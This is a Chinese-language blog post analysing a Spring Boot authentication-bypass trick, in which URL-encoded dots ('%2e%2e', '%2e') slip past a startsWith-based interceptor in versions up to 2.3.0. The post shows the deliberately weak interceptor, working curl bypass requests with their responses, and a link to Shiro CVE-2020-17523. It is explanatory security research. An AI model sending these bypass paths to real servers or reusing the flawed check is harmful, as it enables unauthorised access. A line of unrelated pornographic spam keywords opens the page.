欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

詳解SpringBoot中關于%2e的Trick

 更新時間:2021年04月15日 10:00:14   作者:Ruilin  
這篇文章主要介紹了SpringBoot中關于%2e的Trick,本文給大家介紹的非常詳細,對大家的學習或工作具有一定的參考借鑒價值,需要的朋友可以參考下

分享一個SpringBoot中關于%2e的小Trick。先說結論,當SpringBoot版本在小于等于2.3.0.RELEASE的情況下, alwaysUseFullPath 為默認值false,這會使得其獲取ServletPath,所以在路由匹配時會對 %2e 進行解碼,這可能導致身份驗證繞過。而反過來由于高版本將 alwaysUseFullPath 自動配置成了true從而開啟全路徑,又可能導致一些安全問題。

這里我們來通過一個例子看一下這個Trick,并分析它的原因。

首先我們先來設置SprinBoot版本

<parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.3.0.RELEASE</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>

編寫一個Controller

@RestController
public class httpbinController {
    @RequestMapping(value = "no-auth", method = RequestMethod.GET)
    public String noAuth() {
        return "no-auth";
    }
 
    @RequestMapping(value = "auth", method = RequestMethod.GET)
    public String auth() {
        return "auth";
    }
}

接下來配置對應的Interceptor來實現對除no-auth以外的路由的攔截

@Configuration
public class WebMvcConfig implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(handlerInterceptor())
                //配置攔截規(guī)則
                .addPathPatterns("/**");
    }
 
    @Bean
    public HandlerInterceptor handlerInterceptor() {
        return new PermissionInterceptor();
    }
}
@Component
public class PermissionInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request,
                             HttpServletResponse response,
                             Object handler) throws Exception {
        String uri = request.getRequestURI();
        uri = uri.replaceAll("http://", "/");
        System.out.println("RequestURI: "+uri);
        if (uri.contains("..") || uri.contains("./") ) {
            return false;
        }
        if (uri.startsWith("/no-auth")){
            return true;
        }
        return false;
    }
}

由上面代碼可以知道它使用了getRequestURI來進行路由判斷。通常你可以看到如 startsWith , contains 這樣的判斷方式,顯然這是不安全的,我們繞過方式由很多比如 .. 或 ..; 等,但其實在用 startsWith 來判斷白名單時構造都離不開跨目錄的符號 ..
那么像上述代碼這種情況又如何來繞過呢?答案就是 %2e
發(fā)起請求如下

$ curl -v "http://127.0.0.1:8080/no-auth/%2e%2e/auth"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /no-auth/%2e%2e/auth HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 4
< Date: Wed, 14 Apr 2021 13:22:03 GMT
<
* Connection #0 to host 127.0.0.1 left intact
auth
* Closing connection 0

RequestURI輸出為

RequestURI: /no-auth/%2e%2e/auth

可以看到我們通過 %2e%2e 繞過了PermissionInterceptor的判斷,同時匹配路由成功,很顯然應用在進行路由匹配時對 %2e 進行了解碼。

我們再來切換SpringBoot版本再來看下

<version>2.3.1.RELEASE</version>

發(fā)起請求,當然也是過了攔截,但沒有匹配路由成功,返回404

$ curl -v "http://127.0.0.1:8080/no-auth/%2e%2e/auth"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /no-auth/%2e%2e/auth HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 404
< Vary: Origin
< Vary: Access-Control-Request-Method
< Vary: Access-Control-Request-Headers
< Content-Length: 0
< Date: Wed, 14 Apr 2021 13:17:26 GMT
<
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0

RequestURI輸出為

RequestURI: /no-auth/%2e%2e/auth

可以得出結論當SpringBoot版本在小于等于2.3.0.RELEASE的情況下,其在路由匹配時會對 %2e 進行解碼,這可能導致身份驗證繞過。

那么又為什么會這樣?

在SpringMVC進行路由匹配時會從DispatcherServlet開始,然后到HandlerMapping中去獲取Handler,在這個時候就會進行對應path的匹配。

我們來跟進代碼看這個關鍵的地方 org.springframework.web.util.UrlPathHelper#getLookupPathForRequest(javax.servlet.http.HttpServletRequest)
這里就出現有趣的現象,在2.3.0.RELEASE中 alwaysUseFullPath 為默認值false

而在2.3.1.RELEASE中 alwaysUseFullPath 被設置成了true

這也就導致了不同的結果,一個走向了 getPathWithinApplication 而另一個走向了 getPathWithinServletMapping
在 getPathWithinServletMapping 中會獲取ServletPath,ServletPath會對其解碼,這個很多講Tomcat url差異的文章都提過了,就不多說了。所以解釋了最終出現繞過的情況。

那么Trick的具體描述就成了當SpringBoot版本在小于等于2.3.0.RELEASE的情況下, alwaysUseFullPath 為默認值false,這會使得其獲取ServletPath,所以在路由匹配時會對 %2e 進行解碼,這可能導致身份驗證繞過。

而這和Shiro的CVE-2020-17523中的一個姿勢形成了呼應,只要高版本SpringBoot就可以了不用非要手動設置 alwaysUseFullPath

$ curl -v http://127.0.0.1:8080/admin/%2e
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /admin/%2e HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 10
< Date: Wed, 14 Apr 2021 13:48:33 GMT
<
* Connection #0 to host 127.0.0.1 left intact
admin page* Closing connection 0

感興趣的可以再看看說不定有額外收獲

話說回來,可是為什么在高版本中 alwaysUseFullPath 會被設置成true呢?

這就要追溯到 org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration.WebMvcAutoConfigurationAdapter#configurePathMatch
在spring-boot-autoconfigure-2.3.0.RELEASE中

在spring-boot-autoconfigure-2.3.1.RELEASE中

為什么要這樣設置?我們查看git log這里給出了答案。

https://github.com/spring-projects/spring-boot/commit/a12a3054c9c5dded034ee72faac20e578b5503af

當Servlet映射為”/”時,官方認為這樣配置是更有效率的,因為需要請求路徑的處理較少。

配置servlet.path可以通過如下,但通常不會這樣配置除非有特殊需求。

spring.mvc.servlet.path=/test/

所以最后,當SpringBoot版本在小于等于2.3.0.RELEASE的情況下, alwaysUseFullPath 為默認值false,這會使得其獲取ServletPath,所以在路由匹配時會對 %2e 進行解碼,這可能導致身份驗證繞過。而高版本為了提高效率對 alwaysUseFullPath 自動配置成了true從而開啟全路徑,這又造就了Shiro的CVE-2020-17523中的一個利用姿勢。

到此這篇關于詳解SpringBoot中關于%2e的Trick的文章就介紹到這了,更多相關SpringBoot Trick內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!

相關文章

  • Java的原子類無鎖并發(fā)利器詳解

    Java的原子類無鎖并發(fā)利器詳解

    這篇文章主要介紹了Java的原子類無鎖并發(fā)利器詳解,原子類同樣能夠解決互斥性問題、原子性問題除此之外,因為原子類是無鎖操作,沒有用互斥鎖解決帶來的加鎖解決性能消耗,這種絕佳方案是怎么做到的呢,需要的朋友可以參考下
    2023-12-12
  • Java commons-httpclient如果實現get及post請求

    Java commons-httpclient如果實現get及post請求

    這篇文章主要介紹了Java commons-httpclient如果實現get及post請求,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下
    2020-09-09
  • Spring FreeMarker整合Struts2過程詳解

    Spring FreeMarker整合Struts2過程詳解

    這篇文章主要介紹了Spring FreeMarker整合Struts2過程詳解,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下
    2020-10-10
  • ByteArrayInputStream簡介和使用_動力節(jié)點Java學院整理

    ByteArrayInputStream簡介和使用_動力節(jié)點Java學院整理

    ByteArrayInputStream 是字節(jié)數組輸入流。它繼承于InputStream。這篇文章主要介紹了ByteArrayInputStream簡介和使用_動力節(jié)點Java學院整理,需要的朋友可以參考下
    2017-05-05
  • 解決IDEA啟動springboot項目報錯java.lang.ClassNotFoundException:?javax.servlet.ServletContext

    解決IDEA啟動springboot項目報錯java.lang.ClassNotFoundException:?jav

    這篇文章主要介紹了解決IDEA啟動springboot項目報錯java.lang.ClassNotFoundException:?javax.servlet.ServletContext問題,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
    2024-01-01
  • 解決springboot依賴包中報錯unknown的問題

    解決springboot依賴包中報錯unknown的問題

    這篇文章主要介紹了解決springboot依賴包中報錯unknown的問題,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2022-02-02
  • SpringBoot使用Redis緩存MySql的方法步驟

    SpringBoot使用Redis緩存MySql的方法步驟

    本文主要介紹了SpringBoot使用Redis緩存MySql的方法步驟,文中通過示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2022-02-02
  • java Zookeeper簡述

    java Zookeeper簡述

    ZooKeeper是一個分布式的,開放源碼的分布式應用程序協調服務,是Google的Chubby一個開源的實現,是Hadoop和Hbase的重要組件。下面通過本文給大家分享java 中 zookeeper簡單使用,需要的朋友參考下吧
    2021-09-09
  • Mybatis在注解上如何實現動態(tài)SQL

    Mybatis在注解上如何實現動態(tài)SQL

    這篇文章主要介紹了Mybatis在注解上如何實現動態(tài)SQL,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2022-06-06
  • 通過實例了解cookie機制特性及使用方法

    通過實例了解cookie機制特性及使用方法

    這篇文章主要介紹了通過實例了解cookie機制特性及使用方法,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下
    2020-09-09

最新評論